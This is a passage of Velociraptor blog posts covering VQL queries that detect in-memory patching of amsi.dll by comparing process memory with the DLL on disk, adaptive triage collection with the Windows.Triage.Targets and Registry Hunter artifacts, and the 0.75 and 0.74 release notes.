    upcase(string=SymlinkTarget) AS Target,
    len(list=SymlinkTarget) AS Len
  FROM winobj()
  WHERE Name =~ "^\\\\GLOBAL\\?\\?\\\\.:"

LET _DriveReplace(Path) = SELECT Drive + Path[Len:] AS ResolvedPath
  FROM DriveReplaceLookup
  WHERE upcase(string=Path[:Len]) = Target

LET DriveReplace(Path) = _DriveReplace(Path=Path)[0].ResolvedPath || Path

SELECT *
FROM foreach(row={
  SELECT * FROM pslist()
  WHERE Name =~ "powershell"
}, query={
  SELECT Pid, Name, DriveReplace(Path=MappingName) AS DllName, *
  FROM vad(pid=Pid)
  WHERE MappingName =~ "amsi.dll"
})

Step 4: parsing the DLL from disk

In our artifact we would rather just import those utility functions from a common artifact (these functions are actually provided by the Windows.System.VAD artifact). In this way VQL allows us to modularize artifacts and reuse code.

I also want to format the address in hexadecimal and parse the dll from disk using the parse_pe() plugin.

Putting it all together:

LET _ <= import(artifact="Windows.System.VAD")
LET Hex(X) = format(format="%#x", args=X)

SELECT * FROM foreach(row={
    SELECT *
    FROM pslist()
    WHERE Name =~ "powershell"
  },
             query={
    SELECT Pid, Name, Hex(X=Address) AS Address,
           DriveReplace(Path=MappingName) AS Dll,
           parse_pe(file=DriveReplace(Path=MappingName)) AS PEInfo, *
    FROM vad(pid=Pid)
    WHERE MappingName =~ "amsi" AND ProtectionMsg =~ "PAGE_EXECUTE_READ"
  })

Parsing the mapped DLL from disk

In the above we see some important information:

The code of amsi.dll is mapped into the process at virtual address 0x7ff945181000.
By parsing the sections from the dll on disk we can tell the code section named .text :
- Has a file offset of 4096 bytes inside the PE file.
- The Virtual Memory address preferred by the DLL is 6442455040
- The Relative Virtual Address of the text section is 4096. This is relative address (from the DLL load offset) where this section starts.
- The size of the section is 73728 bytes.

Although the DLL wants to be loaded at a preferred virtual memory address of 6442455040, windows does not actually load at this address. Instead it is loaded at 0x7ff945181000. This is because Windows tries to randomize the address space by shifting the loading location of the dll to a random start location.

This is called the ASLR shift (Address space layout randomization). Let’s visualize how it looks in memory:

Comparing memory mapped dll to disk offsets

Let’s extract the interesting fields from the .text section by writing a VQL function to locate the .text section from a DLL on disk:

-- Filter all the PE sections to find the .text section
LET GetTextSegment(Path) = filter(
   condition="x=>x.Name = '.text'",
   list=parse_pe(file=Path).Sections)[0]

LET Sections = SELECT Pid, Name, Address, Dll,
    GetTextSegment(Path=Dll) AS TextSegment
FROM foreach(row={
    SELECT * FROM pslist()
    WHERE Name =~ "powershell"
  }, query={
    SELECT Pid, Name, Address,
           DriveReplace(Path=MappingName) AS Dll, *
    FROM vad(pid=Pid)
    WHERE MappingName =~ "amsi"
      AND ProtectionMsg =~ "PAGE_EXECUTE_READ"
  })

SELECT *,
  Hex(X=Address) AS Address,
  Hex(X=Address - TextSegment.VMA) AS ASLR
FROM Sections

Isolating the essential information

The above query calculates the ASLR offset, and gets the essential information for the .text section.

Step 5: Comparing the memory regions with the disk

Now I will read the .text section from disk and memory. Velociraptor allows to read process memory using the process accessor. The accessor makes the process memory appear as a huge file, so we can apply any VQL function or plugin which expects a file directly on process memory.

This is useful, for example, in applying the yara() plugin to scan memory for patterns. However, in this case I just want to read the .text section and compare it with the file on disk. I can use the read_file() VQL function to just read the file into a single buffer string (Note that when using the process accessor the filename must be of the form /<pid>):

LET PidAsString(Pid) = format(format="/%d", args=Pid)

SELECT *,
       Hex(X=Address) AS Address,
       Hex(X=Address - TextSegment.VMA) AS ASLR,
       read_file(offset=TextSegment.FileOffset,
                 length=TextSegment.Size,
                 filename=Dll) AS DiskData,
       read_file(offset=Address,
                 length=TextSegment.Size,
                 accessor="process",
                 filename=PidAsString(Pid=Pid)) AS MemoryData
FROM Sections

Reading process memory and code from disk

Step 6: Comparing memory to disk

Next I need to compare the MemoryData and DiskData. I can start with a naive implementation which compares 8 bytes at the time (This will be too slow on larger DLLs but for this example it should be fast enough):

LET Compare(MemoryData, DiskData) = SELECT
    _value AS Offset,
    MemoryData[_value:(_value + 8)] AS MemoryInt,
    DiskData[_value:(_value + 8)] AS DiskInt
  FROM range(end=len(list=MemoryData), step=8)
  WHERE MemoryInt != DiskInt

SELECT
    *, Hex(X=Address) AS Address,
    Hex(X=Address - TextSegment.VMA) AS ASLR,
    GetTextSegment(Path=Dll) AS TextSegment,
    Compare(DiskData=read_file(offset=TextSegment.FileOffset,
                               length=TextSegment.Size,
                               filename=Dll),
            MemoryData=read_file(offset=Address,
                                 length=TextSegment.Size,
                                 accessor="process",
                                 filename=PidAsString(Pid=Pid))) AS Comparison
FROM Sections

I first define a Compare VQL function which accepts two buffers MemoryData and DiskData. It then iterates over the length of the buffers in steps of 8 bytes. For each 8 byte offset, the function gets the bytes in both buffers and compares them. The function then shows the rows where the memory is different.

Comparing process memory with disk

We can see that in this case, a single 8 byte address is different between the memory and disk at offset 46080.

Step 7: Resolving the function that was patched

While it is interesting to see the address of where the memory has been modified, we don’t know much about this address. It would be nice to be able to see what function exactly was patched since it will give us more indication of the intent of the patch.

Since amsi.dll exports a number of functions, we know their relative addresses. We can therefore look up which exported function starts just before the modified address - chances are this is the function the attacker wanted to modify.

The DLL’s export table indicates all the functions that are exported from the dll, and their Relative Virtual Addresses (i.e. relative address to the base address at which the DLL is loaded).

Therefore we need to calculate the relative address of the hit, and then look up the export table quickly to resolve the nearest function.

Calculating the Relative Virtual Address of the memory hit

This is shown diagrammatically above. The different offset (within the mapped segment) is converted to an RVA by adding the .text section’s RVA offset, then we can look up the name of the function from the export table using the describe_address() function.

We modify our comparison function to accept the TextSegment and return the name of the exported function:

LET Compare(MemoryData, DiskData, TextSegment, Dll) = SELECT
    _value AS Offset,
    TextSegment.RVA + _value AS RVA,
    describe_address(module=Dll, rva=TextSegment.RVA + _value).func AS Func,
    MemoryData[_value:(_value + 8)] AS MemoryInt,
    DiskData[_value:(_value + 8)] AS DiskInt
  FROM range(end=len(list=MemoryData), step=8)
  WHERE MemoryInt != DiskInt

Resolving the patched memory back to a function name

Now it is very obvious what this patch aims to achieve!

Step 8: Handling relocations

The above example was very simplified. If we tested this over more binaries we would discover that there are many memory locations which are different from disk due to PE relocations. These are special addresses in the binary code which require “fixing up” when the binary is moved from its preferred base address.

With the use of 64 bit code, the number of relocations is much smaller, although 64 bit code can sometimes have relocations too. However, in 32 bit code relocations are very common.

When an address is patched by the loaded due to relocations, the value in that address is increased by the ASLR offset. This means the integers stored at that address on disk and memory have a constant difference.

More complex VQL can deal with these and exclude expected differences due to relocations.

We will not describe this more complex code in this blog post, and simply refer the reader to the full Windows.Memory.Mem2Disk artifact, written by Lautaro Lecumberry and Dr. Michael Denzel.

This artifact is also optimized for performance and has many useful filters to restrict scanning to those dlls commonly targeted by malware. The artifact is also multi-threaded which makes scanning multiple processes in parallel possible.

Output from the Windows.Memory.Mem2Disk artifact

The artifact also allows uploading the different memory regions for further inspection.

On my system the Windows.Memory.Mem2Disk artifact completes a full scan of all running processes in under 2 seconds.

Discussion

In this post we saw how some of the memory analysis tools available in Velociraptor can be combined to write some very sophisticated detections for memory patching attacks.

Let’s compare those memory analysis primitives we explored in this article, with Volatility’s plugins:

The pslist plugin is similar - Velociraptor’s plugin returns similar results to Volatility’s pslist plugin, except that Velociraptor’s plugin uses the APIs, making it much faster and absolutely reliable. Volatility’s pslist plugin parses internal kernel structures, depends on memory profiles which can be fragile and is susceptible to memory smear (e.g. process linked list may be broken due to smear causing many processes to be missed).
Velociraptor’s vad() plugin is very similar to Volatility’s vad plugin, but uses the APIs to obtain its data, hence the results are coherent and reliable.
When converting from kernel paths to filesystem paths, we used Velociraptor’s winobj plugin which is similar to Volatility’s winobj plugin.
Parsing the Dll from disk we used Velociraptor’s powerful parse_pe() plugin which gives a lot of details about the PE file, including sections, exports etc.
When reading process memory, we used read_file() with the process accessor. Volatility has similar internal facilities to reconstruct the process virtual address space from the physical memory image. However, this capability is limited because much of the PE mapped section is not memory resident into physical memory. Windows maps the DLL lazily such that data is read from disk only when needed. This typically means that dumping process memory from Volatility is unreliable as it is missing large chunks of the binary.

To be fair, if the binary is patched in memory, then the page will be allocated (using copy-on-write semantics) and it is likely to be resident. So Volatility is likely to still find all the patched pages in physical memory.
Resolving function names we used the describe_address() plugin, which caches much of the data, so it is very fast to resolve many addresses.

Velociraptor’s memory analysis does not require a memory image, and yields better results. It is typically much faster and can be deployed at scale over a large number of endpoints. Since the logic is written in VQL, we can tweak and improve the query over time without needing to deploy new binaries or endpoints.

Velociraptor’s VQL language is fast and multithreaded, allowing very fast scanning. If needed, Velociraptor’s queries can be CPU limited too so we can balance speed over endpoint resource usage.

So is it always better to use Velociraptor’s memory analysis? Not always. The main disadvantage with Velociraptor’s approach is that data is obtained from standard API calls. This means that the operating system can enforce security restrictions on the data Velociraptor can access.

It is quite normal for Velociraptor to be unable to read some process memory - either due to a security product preventing this operation, or because the target process is protected by the operating system (e.g. Protected Process Light (PPL)). In this case we will see messages such as vad: OpenProcess for pid 1004 (csrss.exe) : Access is denied. limiting our access to some processes.

Does it matter? It depends. If the malware has a higher level of access than Velociraptor (e.g. if it is running in kernel mode, or is signed as a PPL process) then it might be able to hide in those protected processes that Velociraptor cannot access.

But then again, if the malware has such privilege it can easily stop a driver from loading to prevent physical memory acquisition as well - it becomes an arms race.

Conclusions

When analysts think of developing a new memory analysis technique, they often immediately go to a physical memory image with a framework like Volatility. I hope you have seen that this is not necessary and that Velociraptor’s VQL actually makes things much easier to develop and can produce more reliable results.

Velociraptor’s binary parser is also very powerful (it was inspired from Volatility’s internal parser) so you have similar tools for parsing complex binary structures as those that Volatility provides.

If you like to try the new Windows.Memory.Mem2Disk artifact, take Velociraptor for a spin ! It is available on GitHub under an open source license. As always please file issues on the bug tracker or ask questions on our mailing list velociraptor-discuss@googlegroups.com . You can also chat with us directly on discord https://www.velocidex.com/discord .

Adaptive Collections with Velociraptor

Sat, 30 Aug 2025 00:00:00 +0000

I recently joined the great folk at Cyber Triage on a webinar to explore the new CyberTriage Velociraptor artifact. I was excited to be talking with them since I heard great things about Cyber Triage and really wanted to learn more about it.

One of the interesting features they presented was the concept of Adaptive Collection which I thought was quite neat.

In this blog post I will describe what “Adaptive Collection” means and how this really improves the state of the art in DFIR triage. I will also show how this is now implemented in Velociraptor and how you can use it today to improve your triage and investigation.

What is Triage collection anyway?

DFIR is all about trying to quickly determine what happened. In the distant past we used to acquire full disk images of systems so we could perform digital forensics on them. However, these days this is usually highly impractical:

Hard disks have become so large that imaging them, copying the images elsewhere, storing and working with them is often impractical, especially since speed is a critical aspect of every investigation.
In modern network intrusions we usually need to examine a large number of endpoints. Aside from storage constraints, the time required to make full disk images of potentially thousands of machines puts this option in the realm of the impossible.

Today’s best practice is to actively hunt the network with a tool like Velociraptor to quickly gather specific, well-targeted artifacts across a large number of endpoints.

Through efficient distributed hunts the number of systems of interest is reduced. We may then perform Triage Acquisition for the purpose of preservation of evidence. We often need to delegate the Triage Acquisition step to others who have access to the affected systems (for example Help Desk employees or system administrators).

Triage Acquisition has a number of goals:

To acquire as much relevant information as possible to be able to determine what happened on the system. In many cases we only get one chance to perform triage acquisition, before the system is rebuilt and evidence is destroyed.
To perform this collection as quickly as possible. Some critical servers can not tolerate prolonged outages or resource-intensive investigative activity.
Triage collection should be as automated as possible. Ideally the person initiating the collection should not need to provide any input to the collection process. They may not be skilled in DFIR techniques nor be accustomed to making critical decisions under pressure.

These goals call for a high level of automation.

Velociraptor’s offline collector is specifically designed to be fully automated - the operator simply needs to run it and a triage collection is made. The collection can be uploaded to the cloud or returned to the investigation team some other (potentially out-of-band) way.

The offline triage process

The main takeaway from this diagram is that it is difficult to iterate over the collection with the offline process. Initiating a new collection required repeating the entire process again with potential manual intervention.

Therefore it is desirable to collect as much as possible in the first place to minimize the need to go back and re-collect more data.

While it would be nice to collect as much as possible, we need to be speedy in our collection. Therefore we need to make some tradeoffs:

The more files we collect the longer it takes and the larger the collection gets. This makes it harder to handle more systems and transfer more data across the network.
However, once the collection is done it is not always possible to go back and get more files. Sometimes systems are rebuilt the preservation step, which puts pressure on responders to collect all relevant data in a single acquisition step. This pressure can also lead to over-collection of data, including irrelevant items.

Current state of the art

One of the more popular artifacts to use with the offline collector is the Windows.KapeFiles.Targets artifact. This artifact uses target definitions from the KapeFiles project to collect files from the system. The project defines targets which are essentially search globs finding particular files on the system.

For example, the Windows Event logs are usually stored in C:\Windows\System32\winevt\logs\*.evtx. During a preservation triage acquisition, one would usually collect all those files.

Meta-Targets can also be defined so that when the user chooses to collect the BasicCollection target, Velociraptor will automatically collect the Event logs, Registry, MFT etc.

There are many KapeFiles targets collecting files related to many products and applications, however they are all essentially static globs. The Windows.KapeFiles.Targets artifact looks for files on disk from this static list of pre-determined globs.

Since the Velociraptor 0.75 release, the Windows.KapeFiles.Targets artifact is no longer built into Velociraptor. Instead it is managed in its own project.

The new artifact goes beyond the using simple globs expressions, and has therefore been renamed to Windows.Triage.Targets to distinguish it from it’s predecessor artifact.

Why is this not enough?

While this is artifact is a great start, it is usually not enough. Many of the forensic artifacts collected may point to other files that may be found on disk, and those files are not usually collected.

For example, consider the prefetch artifact in which Windows stores paths to previously run executables. While the location of the prefetch files themselves is well known (i.e. C:\Windows\Prefetch\*.pf), when an analyst examines these files, they may discover that they point at a suspicious executable located somewhere else on the disk from which file were not acquired.

During the initial triage acquisition phase there is no way to know if the executables they point to are malicious or not. With the standard KapeFiles collections, the investigator needs to go back to the original system to get those files.

Another example is the XML files that define Windows Scheduled tasks, which are normally located in C:\Windows\System32\Tasks\**. These files point to periodically launched executables that could be located anywhere on the disk.

What is Adaptive Collection?

The idea of “adaptive collection” is that the collector itself performs an initial parsing and analysis phase and then decides based on it’s results which additional files to collect. That is, relevant files should be collected automatically even when not explicitly specified as collection targets.

Applying an adaptive collection strategy to the previous example, the user would specify collection of the prefetch files, but the collector would parse each prefetch file automatically and check whether the target file exists in the target location. For each target, if it is present, the collector will also collect it.

This way, when the analyst later examines the prefetch files, they can immediately also inspect the related binary, without needing to go back to the original system.

Of course in the case of prefetch, it is possible that the target executable was deleted before the acquisition. In this case the adaptive collector cannot acquire it. But this is also an important piece of information as the analyst then knows that the executable is actually missing and that there is no point in trying to fetch it in a subsequent collection phase.

The point of adaptive collection is to include files which may be relevant once the basic (primary) artifacts are parsed. This avoids needing to go back and re-collect additional files after the analysis is performed.

A useful side-effect of this approach is that forensic artifacts are already parsed and analyzed, so there is no need for further post-processing of bulk collected files. This simplifies the post-processing pipeline and speeds up analysis when dealing with a large number of systems.

The Windows.Triage.Targets artifact

The Windows.Triage.Targets artifact is compiled from many separate rules. Each rule specifies one or more targets - basically a single type of forensic artifact to acquire.

You can download the Windows.Triage.Targets artifact from https://triage.velocidex.com/docs/windows.triage.targets/ or simply use the built in Server.Import.Extras artifact to automatically download and import the latest version.

The artifact contains many adaptive rules, for example some of these are:

AdaptiveScheduledTasks: Enumerates all scheduled tasks and attempts to acquire the associated binaries run by them.
LnkTargets: Searches for lnk files and attempts to acquire their file targets. lnk files are common infection vectors.
PrefetchBinaries: enumerates all prefetch files and captures the associated executables.
PsList: enumerates all running processes and captures their respective binaries.
Services: enumerates all installed services and captures their binaries.

All of the adaptive rules are triggered by the meta-target _Live. So all a user needs to do is to select the _Live target and collect the artifact (Usually the _Live target is selected in addition to more traditional/non-adaptive target sets like _SansTriage or _BasicCollection).

Launching the triage collection

Adaptive rules may substantially increase the number of files collected. However, we rarely care about legitimate binaries which are often signed. The way we choose if a file is to be collected is termed the Collection Policy.

There are a few choices:

ExcludeSigned: This is the default policy. We collect all adaptive targets, except if they are a trusted signed binary. Most of the time, signed binaries are trusted already and there is no benefit in collecting them. In practice this reduces the collection size substantially.
HashOnly is used to simply take the hash of the file but not to collect the file itself. This setting is useful when the client is connected and available so interesting files may be fetched at a later stage. The hashes and file stats are enough to indicate whether the target files are still present on the system or not.
AllFiles Just collect all files. This is not recommended for adaptive collections as it will also collect system files and signed/trusted binaries.

Adaptive rules will sometimes attempt to collect the same file. For example, if there are several notepad processes running, the PsList rule will attempt to collect notepad.exe multiple times.

The triage artifact automatically caches and deduplicates these collections so that collecting the same file multiple times is safe and fast - only one copy will be acquired and it will be hashed only once.

Let’s look at the result of collecting the PrefetchBinaries target:

Viewing the Prefetch target

Collecting the PrefetchBinaries target will execute the standard Velociraptor Windows.Forensics.Prefetch artifact and capture all the usual fields that the artifact returns, such as run times and other prefetch related fields. Additionally, Velociraptor will attempt to acquire each target if possible (if the file still exists on disk at that location).

The Windows.Triage.Targets artifact automatically captures metadata such as last modified timestamps, hashes and authenticode status for executables.

In addition to collecting the prefetch binary targets, we also receive all the usual output from collecting the Windows.Forensics.Prefetch artifact, saving us from having to re-collecting it later.

Another example is collecting the LnkTargets rule. This rule analyzes Lnk files (shortcuts) to extract their targets.

Extracting the link targets from Lnk files

Lnk files are often created when the user edits them on the desktop, so capturing the targets of Lnk shortcuts can capture strong evidence of user activity. In this case we see a number of files that were edited with Notepad and were captured (assuming they were still present).

The Registry Hunter

Registry analysis is a powerful and critical tool in the Digital Forensics arsenal. The Windows registry contains a wealth of information about system state, while many persistence techniques leave traces in the registry.

Traditionally, registry analysis is performed on the raw registry hives (collected using, for example, the KapeFiles artifact). These files are analysed using tools such as Reg Ripper or Registry Explorer. These tools operate on collected registry hives and contain rules designed to extract specific pieces of information from various registry keys.

Recently, The Velociraptor team has started the Registry Hunter project. This project aims to develop a fully featured rule-based registry parser, and contains a large (and growing) number of rules. Many of the rules in the Registry Hunter also attempt to uncover evidence of persistence through various registry artifacts.

While the Registry Hunter can operate on collected hive files, it can also operate on the live system using a mixture of API based registry access and raw hive parsing. Therefore, the Registry Hunter running on a live system is ideally positioned to perform Adaptive Collection as described above.

The Registry Hunter Collection options

The Registry Hunter now has a CollectionPolicy parameter for rules that implement adaptive rules. By default these rules simply hash the binaries uncovered in the registry, but they can collect them as well.

For example, consider the Scheduled Tasks (TaskCache) rule from the Registry Hunter. This rule analyses the registry to extract the scheduled tasks (as opposed to analysing the XML files in the Windows/System32/Tasks directory).

Registry analysis for the Scheduled Tasks rule

When the task action launches a binary, the Registry Hunter is able to inspect the disk to check on the launched binary.

For an offline collector, it is recommended to use both the Registry Hunter and the Triage Targets artifacts together.

Optimizations

Adaptive collection is more expensive than simple file collection, as it requires Velociraptor to parse forensic artifacts on the endpoint and attempt to locate the files referred by them on disk.

While parsing the forensic artifacts on the endpoint is usually very quick due to Velociraptor’s optimized VQL engine, the act of hashing and collecting all the additional files can increase the time and storage requirements to collect the triage artifact.

Most of the time, adaptive collection helps us to answer the following questions:

Were the target files present on the endpoint at collection time?

This information is important as many forensic artifacts record evidence of execution for files that were already deleted. In this case, it won’t help us to go back to the endpoint and re-collect the target file - it is deleted already!
What were those files?

Some of the files that were indicated by the forensic artifacts may be significant for further investigation - for example, malware payloads may need to be collected etc.

However not all files are unique to the investigation. For example, most files that are executed on the endpoint are legitimate binaries. We rarely need to collect those, and even if we need them later, legitimate binaries can usually be acquired in other ways (for example Virus Total).

Adaptive collections need to strike a balance between collecting everything and collecting the most useful files.

Guidelines for using adaptive collections

For offline collections, it is usually not possible to go back to the endpoint to perform a second collection. In this case it might be better to err on the side of collecting more than less.

Use ExcludeSigned Collection Policy
Consider using the TrustedPathRegex to eliminate system files.
Set conservative values for MaxFileSize to avoid capturing very large adaptively, such as very large executables.
If you are concerned about endpoint resource load, consider imposing CPU limits

For live connected clients, it is useful to run an adaptive collection with HashOnly collection policy:

Bulk adaptive targets are not collected so this reduces needed storage and bandwidth, as well as speeding the collection significantly.
The artifact will still attempt to locate and hash the targets which tells us if the files are still present on the endpoint. We can always issue a new collection for important files.
If you dont use the hashes, considering setting MaxHashSize to a small number. This will speed up the artifact and still record if the file itself is present (and its timestamps).

Conclusions

The idea behind Adaptive Collection is to automate the analysis as much as possible, and make collection decisions based on this automated initial analysis pass. We need to weigh up how likely it is that the discovered files be useful for further analysis.

It is not 100% reliable - sometimes there will be interesting binaries present inside the Windows directory which the artifact will skip. This might necessitate the investigator to go back and retrieve it.

You can think of forensic acquisition as a spectrum: at one extreme a bit-for-bit copy of disk and memory, will surely capture most of the data we are interested in. However, this is not usually practical due to large systems, storage and network bandwidth.

At the other extreme, a triage collection just captures some critical files, like event logs. This is usually insufficient to complete a full analysis of a case.

The Adaptive Collection is a middle ground - not as complete as a bit-for-bit copy, but a lot better than just collecting files blindly. By reducing the analyse/collect feedback loop, Velociraptor is able to speed up investigations and strike a better balance along the acquisition spectrum.

If you like to try these new artifacts, take Velociraptor for a spin! It is available on GitHub under an open source license. As always please file issues on the bug tracker or ask questions on our mailing list velociraptor-discuss@googlegroups.com . You can also chat with us directly on discord https://www.velocidex.com/discord .

Velociraptor 0.75 Release

Sat, 30 Aug 2025 00:00:00 +0000

I am very excited to announce that the latest Velociraptor release 0.75 is now available.

In this post I will discuss some of the new features introduced by this release.

GUI Improvements

This release improves a number of GUI features.

Multi-select deletion

Previously it was only possible to delete flows, clients, artifacts or hunts one at the time. However, in this release it is now possible to highlight a set of items by clicking the first item in the range, then pressing SHIFT, then clicking the last in the range.

This allows deleting many items at once from the GUI. The same process works for deleting multiple clients, multiple artifacts in the artifacts viewer, multiple notebooks, and multiple collections from a client.

Selecting multiple flows for deletion

Artifact Tagging

As Velociraptor is used by more and more people, we are seeing many public artifact sources becoming widely available for users to add to their server. While this is great to see, it is sometimes overwhelming to see so many custom artifacts in the artifacts viewer mixed up into the same view.

Previously, we used a prefix to import artifacts so their names would be distinct. For example, all artifacts coming from the artifact exchange were given the Exchange prefix. This proved problematic in practice because it made it difficult for artifacts to import other artifacts by their name, when the name could depend on the way the user imported the artifacts.

In this release, Velociraptor introduces the concept of a Tag on the artifact. Tags are kept separately from the artifact itself, and can be considered part of the artifact metadata.

You can add tags using the artifact_set_metadata VQL function, which is used in certain import artifacts. This allows grouping of similar artifacts.

The GUI will add a new search category for each tag to allow the user to easily see all artifacts that have the same tag.

Artifacts can be tagged based on their import source

In the above example, the artifacts imported through the Server.Import.Extras artifact are tagged with the Extras tag. They can all be seen together and deleted at once if needed (using the multi-select method described above).

Velociraptor presents a lot of information in tabular form. This release adds keyboard navigation to all tables to make it easier to preview a lot of information quickly:

n, p page table forward and backwards.
j, k move selection focus up or down
home, end page table to first or last page.

Server improvements

Storing compressed data

Velociraptor is often used to collect large quantities of data from endpoints. This data appears in the form of either bulk data (e.g. file contents) or JSON data (e.g. the results of VQL queries).

This data can be quite large and new users often run out of disk space when starting to collect from large networks. In previous versions of Velociraptor, the server would store the data uncompressed on disk. This has some advantages such as being able to post process the data using an external script or program because the data is simply stored as flat files on the server.

However, this advantage comes at a massive cost in storage needs. It would be much better to store the data compressed on the server and only decompress the data as needed.

Because the Velociraptor server is light weight and needs to support a large number of endpoints, it is not practical to have the server itself compress the data as it arrives from the endpoints. Therefore in this release, the Velociraptor client is asked to compress data into chunks as it is transmitting the data in the first place. The server only needs to write the chunks down into storage without needing to decompress the data at all.

This new scheme actually makes the server faster, as it needs to write less data to storage (reduced IO costs), and does not require the server to perform expensive compression/decompression cycles. The client does not actually have to do additional work (as it always needs to compress data for network transmission anyway), so this scheme is an overall improvement in performance.

Data is now stored compressed on disk

The above example shows a typical Windows.Triage.Targets collection with the KapeFiles target on a test system collecting just under 2Gb of data (mostly bulk files in this case). However, the actual storage used on disk is around 300Mb representing a 85% storage saving.

Even higher compression ratios were observed with artifacts that produce a lot of JSON output, like Windows.NTFS.MFT, since JSON data is highly compressible.

The downside of this change is that the files on the server storage are no longer readable by external tools, and so any post processing artifacts that use the file_store() to obtain the underlying file are unlikely to work. If you need to get the uncompressed data you may use the copy() function to copy the file to a temporary file thereby uncompressing it.

Since the new compression scheme requires client support it will only work with 0.75 clients. If you do not want to enable compression you may change the configuration setting to “none”.

Resumable uploads

Velociraptor places a reasonable timeout on collections in order to avoid accidentally collecting too many files. This is necessary because often we do not really know what is on the endpoint before collection. For example, say we wanted to collect all browser artifacts from an endpoint. Sometimes, a single server may have hundreds or even thousands of users (e.g. a Terminal Server) and this artifact will end up collecting vast quantities of data, likely not targeted to the investigation.

For this reason, Velociraptor always places a timeout on collections, as well as an upload limit. The idea is to catch such accidents early.

Previously when a collection would reach its limits, the collection would be cancelled and the user would be faced with two choices: either refine the artifact to be more targeted and collect less data, or repeat the collection with larger timeout or upload limits.

If the user chose to repeat the collection, then all the previous data would need to be collected again (since it is a brand new collection).

In this release, Velociraptor offers Resumable Collections. This feature is enabled by default for many artifacts that primarily collect files (such as the Windows.Triage.Targets artifact).

Resuming uploads from an interrupted collection

In the above example the Windows.Triage.Targets artifact timed out but it is reporting that there are 928 upload transactions remaining (i.e. incomplete uploads that can be resumed). Clicking the Resume Uploads button will restart those uploads and set the collection back into the running state.

Note that this may not always be safe. If the filesystem has changed since the upload transaction started, the resumed file may not match with the initial file. For example, supposed that the original artifact searched for C:\Windows\*.exe and found 50 executable files to upload, but when the collection was resumed, 10 of the previous executables were removed and 10 more were added. The resumed collection will not detect the new files and will fail to upload the older files.

If you wish to use resumable uploads in your custom artifact, set the UPLOAD_IS_RESUMABLE parameter to TRUE. This changes the upload() function to become asynchronous and just queue an upload transaction instead of waiting for the upload to complete.

Securing the Server Filesystem

Velociraptor allows users to run arbitrary VQL queries in notebooks. These queries run directly on the server and so may allow users to view any files or run any commands on the server itself.

In many higher security deployments there is a need to restrict access to the server itself from Velociraptor users. Velociraptor already offers an extensive user permission model, with users needing the FILESYSTEM_READ permission to be able to read files on the server filesystem.

Often it is necessary to provide users with this permission (for example to allow them to post process data using an external tool), but we still do not want to allow users to be able to read the entire server filesystem.

In this release it is possible to restrict the directories that VQL is allowed to read on the server using a configuration option.

Client improvements

Reworked Lnk parser

The Lnk parser is used in many artifacts like Windows.Forensics.Shellbags, Windows.Forensics.Lnk, and Windows.Forensics.JumpLists.

The artifact is now more complete with support for many shellbag types.

Added Windows.Forensics.NotepadParser

The new notepad available in Windows 11 provides a lot of valuable forensic information. This is now implemented in Velociraptor based on research by ogmini.

Removal of some large artifacts

Over time Velociraptor has spawned many sub-projects for curating and managing certain larger, more complex artifacts. As some artifacts became more complex and powerful, we moved them into separate projects so that they could be developed and managed independently of the main Velociraptor project. Splitting these off allows for independent release cycles, thus facilitating more rapid development and innovation.

The following artifacts were removed from the built-in set, and are now available to download using the Server.Import.Extras server artifact:

The Windows.KapeFiles.Targets artifact is now managed as part of the Velociraptor Triage Project.

This project intends to develop a set of rules that are used for specifying the collection of files from the endpoint.

Building on from the KapeFiles repository, this project now contains the Windows.Triage.Targets artifact based on the old KapeFiles project, and the Linux.Triage.UAC artifact based on the UAC project.
The Generic.Forensic.SQLiteHunter artifact is now managed under the Velociraptor SQLite Hunter Project

This aims to be a one-stop shop for all SQLite, ESE and many other database-oriented forensic artifacts.
Velociraptor Sigma Project is the home of our artifacts that implement rapid Sigma-based triage and monitoring rules.
Velociraptor Registry Hunter Project is our project to develop sophisticated registry analysis modules.
The Velociraptor Artifact Exchange is our repository of community-contributed artifacts.

New links on the welcome screen include one to run Server.Import.Extras

The following artifacts were permanently removed:

Generic.Collectors.SQLECmd: Superseded by Generic.Forensic.SQLiteHunter
Server.Import.DeleteArtifacts: Obsolete since custom artifacts can now be filtered by tag and then bulk deleted using multi-select deletion as described above.
Server.Import.UpdatedBuiltin: Superseded by Server.Import.Extras.
Windows.Analysis.EvidenceOfExecution: A wrapper artifact that is largely superseded by Windows.Registry.Hunter, however the underlying artifacts are still included.

Conclusions

There are many more new features and bug fixes in the latest release. Please download the release candidate and give it a test and provide feedback.

Velociraptor 0.74 Release

Mon, 10 Feb 2025 00:00:00 +0000

I am very excited to announce that the latest Velociraptor release 0.74 is now in the release candidate (RC) status and available for testing.

In this post I will discuss some of the new features introduced by this release.

GUI Improvements

This release improves a number of GUI features.

Notebooks now receive typed parameters

Notebooks can now receive typed parameters and tools. This can be used to create sophisticated notebooks which utilize external tools and user parameters for post processing complex results.

For example, consider the new Sigma Studio notebook - a specialized notebook designed to facilitate development of Sigma rules.

Notebook templates can accept parameters

Notebook parameters can be modified at any time, where they are made available to cells for recalculation. This allows notebook templates to be interactive.

Parameters can be modified at any time by pressing the Edit Notebook button

Expose the debug server to all admin users

Sometimes it is hard to know what is happening within Velociraptor - this is especially the case when a large collection is made or a complex query is added to the notebook.

Previously Velociraptor had a debug server which was accessible when started with the --debug flag. The debug server exposes a lot of internal state in order to help users understand what is going on.

However, adding another command line flag and exposing a new port requires the server to be restarted which makes it hard to access this debugging information.

In this release the debug server is always exposed in the GUI.

Accessing the debug server from the GUI

The debug server has a lot more interesting pages now. For example the Plugin Monitor page shows which VQL plugins are currently in any query and what parameters they were given.

The running plugins show what plugins are currently running in any query

The above shows the glob() plugin is currently searching the glob C:/Windows/**/*.exe and had been for 7 seconds. This page provides visibility as to what plugins are running slower than expected and what they are doing.

Breaking it down even further the GlobTracker page shows the last 10 files visited by the glob() plugin. This is often critical to understanding why a glob operation is slow, as sometimes the plugin will visit many files and directory which do not match or are on a remote network drive leading to long delays without evident progress.

Seeing the last few files visited by the glob plugin above

There are many other debug pages including ETW tracking, ExportContainer tracking the progress of zip export of hunts or collections, Client Monitoring Manager reports status of client monitoring queries and many more.

While in this release the debug server is always present in the GUI, the debug server is still available in other contexts as well. You can still start the debug server on a client with the --debug flag and similarly in the offline collector by starting it with VelociraptorCollector.exe -- --debug

Real time detection and monitoring

As Velociraptor is used more and more in real time detection applications, Velociraptor’s detection capabilities are maturing. We are now using Sigma rules in many contexts, not just to triage Windows Event logs, but also to match real time events from eBPF and ETW as well as more traditional forensic artifacts.

Sigma Studio

